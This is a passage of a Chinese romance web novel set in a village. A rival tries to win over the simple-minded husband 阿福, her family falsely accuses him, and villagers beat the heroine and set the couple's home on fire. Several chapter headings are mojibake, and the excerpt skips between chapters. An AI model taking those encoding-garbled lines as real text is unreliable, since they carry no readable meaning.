她欣喜着,阿福调转马头,认真的看着那个女人,问出了一个他思考了很久,也很认真的问题。 他问:“你的嗓子是被鸭子嘴给夹住了吗?” 问完,他还很礼貌的等着人回答,因为他真的很好奇,为什么这个女人说话就像与人捏住她嗓子一般。 吴芳草:“” 她装不下去了,想骂人怎么办? 阿福见对方不想回答,然后就失望的骑着马,策马跑了。 不回答就回答,他回家问娘子去,娘子肯定知道! 绗?2绔?浣犺繖鏍风殑闃跨涓嶅悆 吴芳草被气哭了,连那张被她故意扔到树上的帕子也不要了,哭着跑回家。 出门时她已经运筹帷幄的策划好了一切,自己幻想的画面是,男人帮她将帕子给拿下来,她再顺势将帕子送给他,然后她满脸娇羞地跑开,那张帕子就成为他对她的念想。 在他心里埋下一根情丝,她以后再见他,那不就水到渠成了吗? 她认为她的每一步计策都没错,错的是那个傻子不解风情,她好好一个大美女站在他跟前,他居然无动于衷! 傻子就是傻子,一点情趣都不懂! 吴父吴母见女儿哭着跑回来,都凑过来询问情况。 “怎么样,事情成了吗?” 吴母一脸殷切,她觉得这已经是板上钉钉的事了,没道理傻子不要自己如花似玉的闺女,却守着一个丑八怪过日子的。 可这哭着回来又是怎么一会儿事? 吴芳草哭着不说话,她实在说不出口那男人对她说的那句“你嗓子是被鸭子嘴夹住了吗”,她吴芳草可是村花,怎么可能会被一个傻子羞辱! 大概是得不到的永远在骚动,第一次就出师不利,吴芳草非但不放弃,反而被激起了斗志,对阿福更感兴趣了。 今天丑丫和阿福去山上砍柴,大黑马被当成了牛来用,拖上了闲置下来的板车,两人一马往山上走。 冬天天气干燥,最适合砍柴以及用耙子抓一些枯枝落叶回来引火,大黑马拴在草多的地方吃草,丑丫和阿福分工协作干活。 阿福不傻之前应该是会轻功,爬树像会飞一般,没几下就爬上了枝头,动作比鸟还轻盈,看得丑丫在树下哇哇大叫。 矮处的柴都被村民砍得差不多了,只有高处的枯枝他们砍不到,刚好留给阿福来砍。 阿福腰间别着一把砍刀,爬上树之后就动作利落地砍柴,枯枝落在地上,丑丫再将这些柴修理整齐,捆成一捆。 两人配合得很默契,砍柴的效率很高,没多久就将板车给装满了。 回程的时候,大黑马拉着一车柴,阿福牵着马,丑丫就走在他身边,两人有说有笑的,但这和谐的气氛在进村后就被一个主动凑上来的不速之客给破坏了。 吴芳草换了一身浅紫色的绣花棉袄,腰用腰带扎得细细的,头上还带着绢花,走起路来摇曳生姿。 她手里拎着一个小篮子,看到阿福便满脸笑容地迎了上来:“阿福哥,可算等到你了。” 她十分亲昵地走到阿福身边,好像他们很熟一般,而一旁的丑丫,则完全没将她放在眼里,直接装作看不见。 她将手里的小篮子递到阿福跟前,满脸娇羞:“阿福哥,这是我从镇上带回来的点心,他家可是镇上最好的点心铺子,做的糕点很好吃,这些都送给你,感谢你昨天” 她没将话给说明白,而是低头掩唇娇羞地笑着,在外人看来,便是她和阿福之间昨天发生了什么不可告人的事。 她是故意这样说给丑丫听得,女人听到自己的丈夫和另外一个比自己优秀,比自己美的女人有瓜葛,没有不怀疑的。 她若识相的话就应该意识到,她配不上这个男人,离他远远的,让他和更优秀的女人在一起才是正确的! 丑丫看了一眼篮子里的东西,唇角勾起一抹嘲讽的笑,她当然听得出她话里有话,不就是想挑拨离间? 但她错估了她对阿福的信任,错估了她和阿福的感情! “原来你就是阿福和我说的嗓子被鸭子嘴夹住的大姐啊,昨天我还纳闷哪儿有人的嗓子会被鸭子嘴给夹住,但今天算是见识到了。” 她也学着吴芳草的样子掩唇轻笑,只不过她是假娇羞,而她是真嘲讽。 昨天阿福放马回后问她的第一个问题就是为什么有人说话会像嗓子被鸭子嘴夹住一样,她当时愣了好久,不知道他为什么会有这么奇怪的问题。 等听阿福将事情说完后,她笑得腰都直不起来了,不知道是该夸他聪明还是傻。 吴芳草那分明就是想勾搭他,可这傻憨憨的男人没看出来,还觉得人家是不怀好意的坏人,更问了人家那种能将人给气死的问题。 吴芳草的表情僵住了,再也笑不出来,她没想到,这个傻子会将昨天的事告诉丑丫,那么丢脸的事,他居然让丑丫给知道了! 但丑丫的话还没结束,她嫌弃的瞥了一眼她篮子里的糕点:“你这糕点是珍品斋里最便宜的那种吧,还是趁掌柜打烊前买的卖不完的次等货。” “不好意思,我们家阿福吃的都是珍品斋里的绿豆糕、枣泥糕、桂花糕这些上等货,你这样的她不喜欢吃!” 阿福立马跟着丑丫点头附和:“不吃不吃,我只吃我娘子买的!” 吴芳拎着篮子的手捏得紧紧的,把手上细小的竹刺都要扎进她手心里,胸膛剧烈起伏,既是被气的也是羞的。 珍品斋的糕点,村里人家一年到头也吃不上一次,而她却经常能给家里买,虽然买的都是一些品相不佳的残次品,但那也是粮食和白糖做的,他们居然敢嫌弃! 丑丫和阿福气完了人,绕开吴芳草就准备走,至于大黑马,都不带拐弯的,在它的认知里,只有人让它的份儿,哪有它主动让人的。 所以它拉着一车柴,不管不顾直直的朝着还拦在路中间的吴芳草走去,吴芳草一个愣神的功夫,大黑马就走到了她跟前,只差一步就要将她给撞倒,再踩在蹄下。 她吓得尖叫一声,慌乱的往一旁退,恰好脚边有一个石头,一时没注意,脚便踩到了石头上,摔了个狗啃泥,篮子里的糕点也洒了一地,裹了灰尘。 丑丫和阿福听到动静,转身一看,看到的便是吴芳草嘴里塞了一口尘土,头上的绢花也歪了的画面。 丑丫笑道:“知道你很急,但走路也要看路,看,这不摔了?” 她的语气里满是拿你没办法的无奈,好像真在为吴芳草考虑一般,可吴芳草却气得脸都歪了。 她气得在地上扑腾两下,然后站起来,连呸好几声,将嘴里的灰尘给吐出来,连着两天都吃土,她这是什么运气! 将脸给擦干净,她拔高声音,叫住了前面的人:“丑丫,你给我站住,我有事和你说!” 绗?3绔?鎴戝彧鍠滄濞樺瓙 丑丫没回头,也没停住脚,只回道:“我没话和你说。” 吴芳草一脸扭曲,跺了两下脚,随即又嗤笑道:“怎么?你不敢吗?就这么怕我接近阿福哥?怕我将她从你身边抢走吗?” 这次丑丫停下了,转身看着她,眉宇间皆是寒意:“你说的话最好能引起我的兴趣!” 吴芳草怔愣了一瞬,看着丑丫觉得很陌生,她和她已经有好几年没好好见过,以前那个被他欺负得死死的小可怜,现在好像已经变了。 但马上她就回过神来,神情依旧是以往的高傲和轻蔑,呵,不就是觉得身边有个男人有依靠了,才敢这样和她说话吗? “你过来,我单独和你说!” 她不能当着那男人的面说,她要在他面前保持完美的形象。 丑丫抬脚便走过去,想听听这女人到底要说些什么大逆不道的话,但是身边的阿福却一把拉住她,神色警惕地看着对面的人,生怕她受了别人欺负。 “我娘子不想和你说话,你有什么话,就在那里说!” 阿福像护崽的母鸡一样把丑丫给护在身后,连吴芳草看一眼都不让。 吴芳草一阵心塞,为什么那个男人护着的不是她! 但尽管心里再扭曲,在男人面前,她还得装作一脸温柔:“阿福哥,你放心,我就和丑丫说一些体己话,不会为难她的。” 阿福不信,神色依旧很冷,这女人看着就不像个好人! 丑丫笑着从阿福身后探出脑袋,拽了拽他的胳膊,柔声笑着:“别担心,你就在我身边,她不敢对我怎样的。” 阿福低头看了眼小小一只的娘子,眉头微微皱起,怎么总有人打他娘子的主意,娘子这么瘦小,很容易被人欺负。 但是娘子都说她要去了,他也不能拦着,只能盯紧对面的女人,只要她敢对娘子下手,他就一脚踹死她,再让大黑马在她身上跳舞! 丑丫得了阿福的准许,走到了吴芳草身边,面无表情:“说吧。” 吴芳草双手抱胸,高傲地仰着脑袋,只要她和丑八怪站在一起,有眼睛的人都知道谁高谁低。 “我要你离开阿福哥,你也不想想,他那么好看,身边站了一个你,走出去多少人会笑话他?” “他那样龙彰凤姿的人岂是你能配得上的,你若真的爱他,就应该离开他,让他选择更好的人?” 丑丫面无表情地听着她将话说完,随后唇角勾起一抹嘲讽的弧度:“那照你所说,什么样的女人能配得上他?你这样的?还是说,你的意思是想让我赶紧离开,给你挪位置?” “呵,吴芳草,你还真将你自己当天仙了?若你真是天仙,怎么还没找到如意郎君,当上你的富家夫人?我没记错的话,你应该已经十八了吧?村里没出阁的姑娘应该数你最大。” “怎么,嫁不掉就把主意打到我家阿福身上了?我告诉你,就算没有我,阿福也看不上你,因为他有一双会识人的眼,心脏的人,他看不上!” 对于吴芳草会看上阿福这件事,丑丫并不感到意外,阿福那么优秀,走在大街上都能吸引无数目光,更别说吴芳草这个自命不凡、眼界都高到头顶的女人。 她的追求者数量虽多,但质量却堪忧,突然眼前出现这么与众不同的阿福,她自然会喜欢。 而且,更不用说,阿福还和她扯上了关系,小时候,她手里但凡有什么稍微好点的东西,她都要让人给抢去。 吴芳草被骂得节节败退,要不是阿福就在不远处虎视眈眈地盯着她,她都要上手教训丑丫了。 几年不见,丑丫真的变了,牙尖嘴利、气势逼人,不像小时候那般好欺负。 她强忍下怒气,脸依旧高傲地扬着,讥笑道:“不管你怎么说,我都只想告诉你,我要和你公平竞争阿福哥,别以为我不知道,你们名义上是夫妻,但并没有办过成亲仪式,既无父母之命,也无媒妁之言,你们根本不算是夫妻!” “你们不是夫妻,那我有权追求他,他也有权选择更适合的人!” 丑丫的心口莫名升起一股烦躁,不想再和她浪费口舌:“你有如此想法,不去给别人当姨娘真是可惜了,随你怎么想,我不想和你浪费时间!” 丢下这句话,丑丫跑回阿福身边,和他一起回家。 回到家中,丑丫的情绪不高,虽然她没将吴芳草放在眼里,可突然跑出一个女人和她说,要跟她抢男人,她的心情还是受到了影响。 阿福将板车上的柴火给卸了,看娘子闷闷不乐的样子,进厨房给她冲了一杯蜂蜜水,然后坐到她身边。 “娘子,喝蜂蜜水,我放了很大一块蜂蜜,很甜的。” 丑丫没接杯子,而是侧眸看着阿福,那张脸,她无论看了多少次,还是觉得好看得过分。 他的眸子清澈又勾人,里面倒映着自己,这么看着她的心就忍不住酸了起来,两只手摸上阿福的脸。 扯一扯,再摸一摸,小声的抱怨:“阿福,你怎么这么勾人喜欢,我将你藏起来还不好。” 藏起来,不让别人看到,他就是她一人的阿福,眼底永远只有她的阿福。 阿福乖巧的由着娘子捏脸,认真的回答:“好,娘子把阿福藏哪里都可以。” 丑丫噗嗤笑出声,心底那点小烦躁也消散了不少,接过阿福手里的蜂蜜水,喝了一大口:“嗯,好喝,阿福冲的蜂蜜水真甜!” 阿福见娘子笑了,他也跟着浅笑,抬手将她搂进自己怀里,让她靠着自己的胸膛,声音闷闷的:“娘子,你和那个坏女人说的话我都听到了,你不要听她胡说,阿福只喜欢娘子,其他人都不喜欢。” 他知道娘子不开心是因为那个女人说了那些烦人的话,他不知道如何哄娘子开心,只能用这种笨拙的方式,说出自己最真诚的话。 丑丫眼角湿润,心也又酸又软,她点头:“嗯,我知道,我的阿福最好了。” 绗?4绔?鍚村浜烘潵鎵捐尙 吴芳草自从和丑丫挑破脸皮后,勾搭阿福都不挑时候了,当着她的面就给阿福送东西。 这次送双鞋垫,被阿福直接扬手就扔了,下次送张帕子,阿福直接上手就撕了,然后再还她几片碎布,还有一次送个香囊,阿福说比屎还臭,让她自己留着用,和她很配。 每一次吴芳草都是兴高采烈的来,然后再被气哭跑着回去,丑丫也是佩服了她百折不挠的毅力还有那张厚脸皮。 还有五日就过年了,丑丫和阿福在家做年糕,吴芳草已经有两日没来煞风景了,丑丫以为她的厚脸皮已经磨平了。 蒸熟的糯米不停地用杵棒捣,捣成粘稠拉丝的米团,再抹上油,团成自己想要的形状。 做年糕十分耗力气,力气小的就算耗尽全身力气,都不一定能将糯米给捣好,但阿福一身的力气,握着杵棒不停地捣,不需要多久米团就被舂好了。 因为捣年糕发力,身上出汗太热,阿福便将棉衣给脱了,丑丫从厨房出来就见阿福脱了衣裳,赶紧放下手里的东西跑了过去,将衣裳给他穿上。 “阿福听话,把衣裳给穿上,天冷,把衣裳脱了会受凉的。” 阿福不满地嘟囔:“热,出汗了,不舒服。” 丑丫不管阿福的抱怨,帮他将衣裳穿得严严实实的,领口的纽扣扣上了,腰带也扎得紧紧的。 “就是因为出汗才更不能脱衣裳,一会儿热,一会儿冷最容易生病了。” 她还在絮叨着教育阿福,院门处却传来剧烈的敲门声,还有叫骂声。 “丑丫,赶紧滚出来!” 丑丫停住动作,仔细听着外面的动静,貌似来人还不少。 阿福的神色一瞬间变得冰冷,盯着门口的方向,作势要冲过去开门揍人。 丑丫拉住他,神色严肃:“阿福,别冲动,我先问问情况。” 她走到门边,没开门,隔着门问道:你们要干嘛?“ 院外的人听到有人回复,叫嚣得更厉害了,将门拍得啪啪作响:“赶紧将门给打开,你家傻子欺负了我女儿,给我负责!别躲着不敢开门!” 一个中年男人的声音聒噪地吵着丑丫的耳膜,她跟村里的人不太熟,但听着这话,大概也能猜到是谁。 吴芳草的爹,吴青山。 说阿福欺负吴芳草?这是转变策略了? 亏他还以为吴芳草安分了两天是因为想清楚了,不再纠缠阿福了呢! 吴青山等不到人开门,便将脸贴在了门上,透过门缝看里面的动静,见丑丫就站在门口,他激动大叫:“我看到你了,别给我装着,赶紧开门!” 丑丫如他所愿,拔掉门栓,猛地一开门,吴青山还贴在门上,一时间没了倚靠,直接摔进了门,牙齿磕在地上,门牙缺了一块。 他哎呦一声惨叫,还没等反应过来,人已经被阿福给扔出了门外,不想让他污染了他和娘子的小院子。 丑丫双手抱臂站在门边,冷眼看着门外的十多个人,吴家真是好样的,将村长和村里几个说得上话的人都请来了。 “要说什么就在门口说吧,小院简陋,就不让各位进去坐了。” 跟吴家前来的十多个人见阿福两手就将长得并不瘦弱的吴青山给拎了出来,都吓得心里咯噔了一下,不自觉地往后退了一步。 吴青山痛吟着从地上爬起来,摸了一把被磕破的嘴唇,疼得抽气,说话漏风:“各位乡邻看到了,这个傻子欺负我女儿在先,现在又对我动手,大家要为我吴家做主!” 话落,人群中一个五十多岁的精瘦老头站了出来,脸扬着,一脸高高在上的做派,他就是清河村的村长。 村长清了两声嗓子,指责一般的口吻开口:“丑丫,你家傻夫昨日在后山欺负了吴家女儿,今又害吴青山受伤,是该给吴家一个说法。” “按村里规定” 他还要继续说下去,丑丫直接打断他的话,语气凌厉:“你们说我家阿福欺负了吴芳草,证据呢?什么时辰?具体在哪个地方?他又是怎么欺负她的,先动的左手还是右手?” 村长被问得一噎,气得臭着一张脸,不仅是气丑丫打断他说话,无视他村长的威望,也是气丑丫的问题他回答不出来。 吴家人只说吴芳草昨日在后山遇上了放马的傻子,被污了名节,让他来帮忙做主,他哪儿问过那么多。 在他看来,吴家闺女长得好看,长期看着丑丫那张丑脸,傻子突然见到美女,一冲动犯了事儿也是正常,哪有男人不偷腥的! 丑丫乘胜追击:“这就回答不出来了?你们口口声声说我家阿福欺负了吴芳草,却拿不出证据,不能你们说什么就是什么,我们自认倒霉吧?” 吴青山捂着发疼的嘴唇,自信又笃定道:“在后山山脚的那块草地上,你家傻子每天都到那儿放马,村里人都知道!” 女儿迟迟不能拿下傻子,吴家一家子便动起了歪心思,既然主动的不行,那他们就让傻子迫于外界压力不得不做他们吴家的女婿。 丑丫与村里人为敌,没人会向着她,只要他们造谣傻子欺负了自家女儿,再由村里德高望重的管事人出面调解,让傻子休了丑丫再娶他们女儿,以此来堵住村里的悠悠众口,维持颜面。 丑丫自然是不信阿福和吴芳草之间有什么的,但觉得他们的脑回路甚是有趣,这样造谣,坏的不仅是阿福的名声,同样也坏了吴芳草的名声。 他们就这么笃定阿福会娶吴芳草让这件事圆满解决吗?若他们失算,阿福没娶吴芳草,那她今后背着个不洁的名声,还如何嫁人? 丑丫所想正是吴家人所笃定的,他们可是有全村人作为后盾,丑丫和阿福两个再厉害,不过是被村子排外、孤立的可怜虫。 为了保住村子的脸面,平息村里人的怒气,阿福就不得不娶吴芳草。 阿福听到吴青山说他昨天去的是后山山脚,嘴角立马勾起一抹好看的弧度,想要反驳。 他昨天根本不是去的山脚放马,而是去了和娘子一起打到野猪的小溪边,想碰碰运气看能不能再遇上野猪。 他刚要出声,丑丫却轻轻扯了扯他的衣袖,面上含着浅淡的笑意,示意他别说话。 绗?7绔?姝诲悗鍖栨垚鍘夐锛岃浣犱滑闄懍 丑丫今天出门走得急,没拿什么防身的武器,如今只能赤手空拳和人搏斗。 何勇也没想和她多说什么,手一挥,他身后的那些小混混便蜂拥而上,丑丫身姿灵活,在人群中躲闪回避,一时间没人能抓住她。 她抢了一个跟着来凑热闹打架的小屁孩手中的木棍,抬脚便踹了他一脚,将他踹倒在地上哇哇大哭。 手里有了武器,她的处境也没那么被动了,手里的木棍不要命一般往别人身上打,砰砰的闷响声一声接一声,惨叫声也此起彼伏。 她打红了眼,眼前的场景仿佛回到了几个月前,她在玉米地里将李狗蛋打死的那一幕。 飞溅的血液、合不上的双眼,此时,她也想像那样,让这群活动乱跳的人,在她手里成为没有生机、任人摆布的烂肉! 混混们有些畏惧她这种不要命的打法,有几个胆小的,已经跑到一旁去观战去了。 何勇一开始并不想亲自动手,对方不过一个手无缚鸡之力的臭娘们,随便派两个小弟过去就能收拾她,但看了一会儿情况,看小弟们的怂样,他便忍不住自己下场了。 他能当上这群小弟的大哥,自然也是有些优势的,比如他打架狠! 他挤进人群中,看着丑丫被人缠住分身乏术,举起手中的擀面杖,朝着她的头打去。 只要一下,她就会头破血流! 但丑丫反应灵活,察觉到身后有杀气,她一个巧妙的转身,避开何勇的攻击,再灵活的抬脚,朝着他的胯间踢去。 男人最脆弱的部位莫过于此,裆部结结实实挨了一脚,何勇立马失去了攻击能力,手里的擀面杖也掉在了地上,捂着胯间跳脚。 被打了,何勇的怒气更甚,嘶嚎着命令小弟们往死里打。 丑丫身手再灵活,可她毕竟是个女子,力气不如男人,再加上对方人这么多,她双拳难敌众手,力竭后,没一会儿便被何勇的小弟们给抓住了。 被两个混混钳制住了两条手臂,丑丫挣脱不了,但她的脸上没有畏惧,反而是一股狠辣的戾气。 何勇被她瞪得不爽,都被抓住了居然还敢瞪她,简直不知天高地厚! 他胯间还隐隐作痛,走起路来很不自然,歪歪扭扭走到丑丫跟前,抬手便在她脸上扇了一巴掌。 他使的力气很大,只一巴掌,丑丫的脸上立刻多了一个红肿的巴掌印,耳朵出现短暂的轰鸣,嘴角也有血迹滑落。 “臭娘们,你再横啊?不是很能打吗?我就站在你面前,有本事你来打啊!” 何勇满眼的嘲讽与轻蔑,再次抬手往丑丫另一边脸颊扇了一巴掌! “这样才对称嘛,来欣赏一下小爷的手艺,这巴掌印是不是比她脸上恶心的胎记好看?” 何勇越说越得意,猖狂地笑着,身边的小弟多阿谀奉承,也随着哄笑,将丑丫当做一件滑稽的物品上下打量。 丑丫的拳握紧,一口银牙咬得紧紧的,眼神冷若寒刃,以前受的屈辱又在眼前重现,她想杀了他们! 趁众人哄笑之际,她不顾两条手臂被扭得生疼,奋力挣扎,挣脱了他们的禁锢。 何勇就在她跟前叉腰得意地笑,她挣脱了也不想逃跑,所有的愤怒和杀意驱使着她出手,让眼前的人永远的闭嘴! 她像一只敏捷的猎豹,猛地一脚踹向了何勇的腹部,让猝不及防的他摔倒在地上,在地面摩擦滑行了一大截。 但这还未结束,她扑向前,将挣扎着想从地上爬起来的何勇又按回了地上,手握成拳,如同密集的鼓点,一拳一拳往他脸上砸去! 手碰撞上坚硬的脸部骨骼,是痛的,她的手背撞破了皮,可她却毫无所觉,胸中只有滔天的怒气。 砰!砰!砰! 一拳又一拳,何勇的一张脸被打得红肿成猪头,鼻梁骨断了,血糊了满脸,丑丫的手上也沾满了血迹,有她自己的,但绝大多数都是何勇的。 跟随何勇的那群乌合之众被这突发的情况给吓愣了,一时间竟没人反应过来去制止丑丫,直到听到何勇惨叫着怒骂才回过神来。 “还不快把她给拉开,老子操你娘的!” 跟班们蜂拥而上,去将按着何勇打的丑丫给拖离,丑丫已经打红了眼,使出浑身力气挣扎,即使寡不敌众,被人给拖走,她还是将何勇的脸和手都给挠花了,疼得他吱哇乱叫。 这次跟班们不敢掉以轻心,四五个人钳制着丑丫,生怕她又跑了,其余人将躺在地上骂骂咧咧痛吟的何勇给搀扶起来。 何勇被打得鼻血止不住地流,眼睛也肿了,只能睁开小小的一个缝,他气得浑身发抖,喊话间破了音:“给我按住她,我要打死她!” 丑丫身后的一个十三四岁的小跟班最会阿谀奉承,听何勇这么说,抬脚便往丑丫的腿弯踹了一脚,狗腿至极:“还不给我们老大跪下!” 丑丫腿弯迎来一阵猛烈的疼,身形控制不住地往下坠,但她强行忍住了,站得稳稳当当,转头看向那个踹他的少年,眼神似一潭幽深的死水,少年不禁被吓得后退了两步。 但下一瞬,丑丫就觉得头皮传出被撕扯一般的疼,脑袋被强行转了过来,入眼的便是何勇那张肿胀的猪头脸。 何勇拽住她的头发使劲撕扯,随着呼吸,鼻孔还有血流出:“臭娘们,是老子低估你了,今天不给你点教训,我就没法在十里八村混!” 他一手扯着丑丫的头发,让她的脸躲不了,另一只手扇着她耳光。 两耳光过后,丑丫也开始流鼻血,血顺着她的脸,滴落到衣领上,她没掉眼泪,微微张嘴,嘴角上扬,笑了起来。 她口腔里也有血迹,那个笑,让她如同从地狱里爬出来的,啃食生肉的厉鬼。 “哈哈哈,你打啊,打死我!我怨气这么重,必能原地化为厉鬼,让你们一个个为我陪葬!” 何勇觉得眼前的女人就是个疯子,她的笑,笑得他毛骨悚然,他放开了她,离她两步远,随后招呼了一个拿着木棍的跟班。 “你,给我狠狠打她,打死了算我的!” 跟班握紧木棍,有些犹豫,但对上何勇杀人一般恐吓的眼神,只能提棍走上前,举高,瞄准丑丫的脑袋,准备用力挥下! 绗?9绔?鐑ф杩欎釜濡栧コ 丑丫将他的反应看在眼里,心里又酸又甜,终于,她也是有人心疼的人了。 她握住阿福的手,将脸凑近,在他脸颊上轻轻一啄,一触即离,嘴角带起浅浅笑意,声音也温柔如水:“阿福,我不疼的。” 有你,再疼的伤,也觉得没了疼意。 两人的脸凑得很近,可以感受到彼此的呼吸,阿福盯着娘子的脸,只见她神色微微羞赧,那白皙的小耳朵变得通红一片。 慢慢地,视线凝结在那两瓣红艳的、软软的唇瓣上,现在的他不太懂男女之事,但是看着那两瓣唇,脑海中好像有一道声音在指引他吻上去。 他喉结微动,有些不知道自己现在该干什么,最终,他选择遵循心中那个最原始、最真实的想法,吻上了那两片柔软的唇,辗转、吮吸,再逐渐深入。 被吻住的那一个瞬间,丑丫的脑内一片空白,做不出任何反应,只有那双本就大的眼睛瞪得更加的圆。 口中有阿福的气息,他的手脱离她的手掌,一手轻轻地搂住她的背,另一手柔柔地摸着她的后脑。 片刻,她的脑子开始晕晕乎乎,不知该怎么做的她,只能笨拙地回应着他的热情。 两个人都是新手,动作生涩又笨拙,他笨拙的亲,她笨拙地回应,但却都乐此不疲。 阿福很聪明,学什么都快,就连现在都能无师自通,慢慢熟练,他身躯本就火热,再加上发烧,那温度像是要将丑丫给融化。 丑丫逐渐忘乎所以,全部的精力只感受得到唇上炽热异常、时而温柔、时而激烈的触感,等再次有意识时便是一阵强烈的窒息感。 她觉得,她要溺毙在阿福的柔情里。 好在这时阿福抬头,离开了她的唇,让她又能重新呼吸。 她喘着气,迷离的眼神与阿福热烈又清澈的眼神交织,像是要织出一张网,将他们两人牢牢裹在一起。 阿福也微微喘息,第一次尝试到这种新奇的感觉,他有些兴奋,似是还想再体验一会儿。 但丑丫扭头不敢再看她,亲吻时热烈又虔诚,遵循的是身体的,也是心里最原始的冲动,现在恢复了理智,便只剩下了羞赧。 两人逐渐恢复了冷静,丑丫感觉到怀里鼓鼓囊囊的触感,才想起来给阿福的药还塞在衣裳里。 她从棉袄里掏出几包药,被护得好好的,药包上面还有她的体温。 阿福见她将药掏出来那一瞬,心又像是被狠狠扎了一下,又酸又疼,这个傻姑娘,自己都被打成那样了,却还护着他的药。 他虽然神志还没恢复,但他有心,能感受得到那热烈的感情啊,她的娘子是世上最好、最善良、最温柔的姑娘。 今天是除夕,可阿福和丑丫两个人,一个病了,一个受伤了,丑丫原本想好好做一桌年夜饭,在阿福的连番制止下只能作罢。 第一次有人陪过年,丑丫早早地规划好,她和阿福吃完年夜饭,再一起守岁,但如今,所有的计划都被打乱了。 晚饭是阿福做的,他当然不会做饭,只能勉强将食物给煮熟了,但丑丫却很捧场地都吃光了。 吃完了晚饭,天色已经全黑,只有满天的星光,一病一伤也没了守岁的兴致,今年对于他们来说有太多的不愉快,也不必守着最后几个时辰的时光不放,只待来年。 阿福还是有些发烧,好在上吐下泻的状况好多了,喝了药便懒洋洋地缩在暖乎乎的被窝里,怀里抱着丑丫。 丑丫的脸上抹了药,药膏是碧绿色的,红肿的脸颊涂了满脸,一张脸显得花里胡哨的。 小姑娘也是知道爱美的,不想让自己这么寒碜的样子被阿福看到,便一直背对着他,阿福却千方百计地尝试着将娘子给转过来,和他面对面。 两人在床上笑闹成一团,温馨又和谐,而此时的村内,村民却正在商量着一件恶毒的事。 夜已深,往常静谧的小村早已漆黑一片,但今天过年,村民难得奢侈地多点一会儿油灯。 丑丫和阿福已经逐渐入睡,屋外是漆黑寒冷的夜,但被阿福搂着睡觉,丑丫只觉得暖烘烘的。 今日和人发生了那么大的争执,她早就累了,睡着的她也忘了避着阿福,花里胡哨的小脸对着他,她还是像以往一样,不知不觉间已经缩成一团,依偎在阿福怀里。 但睡着了,意识迷糊了,也开始展露自己的脆弱了。 脸颊被打得红肿,即使抹了药膏,还是火辣辣的疼,睡梦中,她拧眉,似委屈一般嘟囔:“疼” 她声音很小,可是阿福还是听到了,他睁开眼,即使漆黑一片,还是凝视着怀里的人儿,满眼的心疼与柔情。 他微微直起身子,一只手紧紧搂着丑丫,凑近,轻轻吹着她的脸。 他不知道如何才能让娘子舒服一些,若是可以,他甚至希望他能代她受这些伤。 睡梦中的丑丫或许是感受到脸上徐徐吹来的凉意,拧着的眉头舒展,睡得愈发的沉,不再喊疼。 本该是一室温馨静谧,却被院外突然传出的嘈杂的喊叫声和怒骂声打破。 “烧死妖女!烧死这个灾星!” “我可怜的儿啊,都是这个妖女害死了你,娘为你报仇!” 声音很嘈杂,但在寂静的夜里却显得很清晰,阿福和丑丫瞬间清醒,阿福翻身下床套了棉袄,拿上墙上挂着的弓箭便往外面走。 丑丫也完全没了困意,去厨房里抽了一把菜刀,也随着阿福往院门边走。 两人站在院门后,透过门缝看清了外面的场景,全村的人基本都来了,他们有的拿着火把、有的拿着锄头、钉耙当武器。 他们嘴里喊着要烧死妖女,要为村除害,而人群前还有一具躺在担架上用白布覆盖的尸体。 是何勇!他死了! 何勇的娘瘫坐在尸体旁,哭得一把鼻涕一把泪,嚷嚷着要为儿子报仇。 就连疯了的李狗蛋的娘也来了,她疯疯癫癫的哭喊着她的儿子就是被丑丫这个妖女给克死的,连尸体都找不到,一定要将丑丫给烧死! 绗?0绔?鏈変粬鐨勫湴鏂瑰氨鏄 何勇死得蹊跷,身上的皮外伤并不致命,但人却如同中了剧毒,找了许多大夫来看,都看不出是中了何种毒,自然也没有救治方法。 还没能熬到新的一年就已经死了。 全村人人心惶惶,他们又想到了几年前和丑丫打架的那个孩子,症状也是这般,只不过中的毒较轻,没有丢了命。 村民多愚昧,他们解释不了这种现象,便只能将其归到妖物、鬼怪身上,丑丫克父、克母、会妖术,不详,是灾星,是妖女! 村民们都知道丑丫家的傻夫厉害,所以这次他们学乖了,不和丑丫对峙,准备直接将他们给烧死。 村长下令全村的壮劳力将丑丫的小院给包围,堵住了所有的逃生处,他们要将小院连同人都烧成灰烬。 小院被团团围住,紧接着,一个个火把便被从院外抛了进来,村里有猎户会射箭,或许箭法远不如阿福,但用来纵火却绰绰有余。 火箭一支接一支落在了屋顶上,茅草做的屋顶,在天干物燥的冬天,瞬间便被引燃! 火把四处飞窜,院里的火点越来越多,裹了松香的火把淋出松油,使火势越燃越烈,前后不过几个眨眼的功夫,小院便已经变成火海。 阿福站在院门处,看着隐映在火光中的房屋,眼角流下两行泪,这是她的家,是父母留给她唯一的东西,也是她和阿福朝夕相处的地方,就这么被烧没了! 她好恨!她好恨! 手中的菜刀被她握得紧紧的,她有些控制不住的自己恨意想要冲出去与他们拼个你死我活,但却被阿福紧紧地抱住。 阿福搂住她,平时憨傻可爱的男人此时却异常冷静,声音低沉又温柔地安慰丑丫:“别怕,你还有我,阿福永远在娘子身边。” 丑丫绷紧的身体瞬间松弛,眼泪也像决堤的洪水不受控制:“阿福,我们的家没了。” 阿福心疼地轻轻擦掉她眼角的泪,格外的郑重:“对阿福来说,有娘子的地方就是家。” 刹那间,丑丫觉得身边冲天的火光以及院外的喊杀喊打声都感受不到了,耳边只有阿福沉甸甸的话。 于他而言,有她的地方就是家,她又何尝不是,只要有他,天下之大,何处不能为家! 她不再流泪,满眼坚定又冷静:“阿福,他们烧了我们的家,那我们也烧了他们的家怎么样?” 阿福勾唇一笑,那张好看的脸在闪烁的火光中颠倒众生,想法与丑丫不谋而合:“都听娘子的!” 大黑马受到惊吓,在马圈里嘶鸣,焦躁不安地走动着,阿福跑到马圈前将大黑马给牵了出来,丑丫也将鸡圈里的鸡都给放了,能不能活都靠它们的命。 阿福安抚好受惊的大黑马,一个飞身便跨上了马背,他俯身,伸出一只手,丑丫将手搭在他的手心里。 他轻轻一拉,丑丫便稳稳当当地坐在了他跟前,被他搂在怀里。 阿福一扯缰绳,大黑马嘶鸣一声,便飞冲着朝院门踏去。 健壮的马蹄踢在了门板上,门板四分五裂,守在院门外的村民一时没注意,被飞出的门板砸中,倒在地上吐血昏迷。 黑马夺门而出,阿福单手拉缰绳,背上背着弓箭,另一手紧紧地搂着丑丫的腰,他身后是冲天的火光,骑着高头大马的他如同从尸山血海里突出重围的将军。 他那双好看的凤眸,只冷冷地扫视门口的村民一眼,他们便觉得像是被豺狼虎豹给盯上。 大黑马横冲直撞,挡住他们去路的人只能逃命般往旁边躲,村长歇斯底里地喊破音,让人堵住他们的去路,但却没人敢冲上前。 他们是想烧死丑丫,但又不是不要命,人怎么能和马比,被马蹄踹上一脚,不死也残。 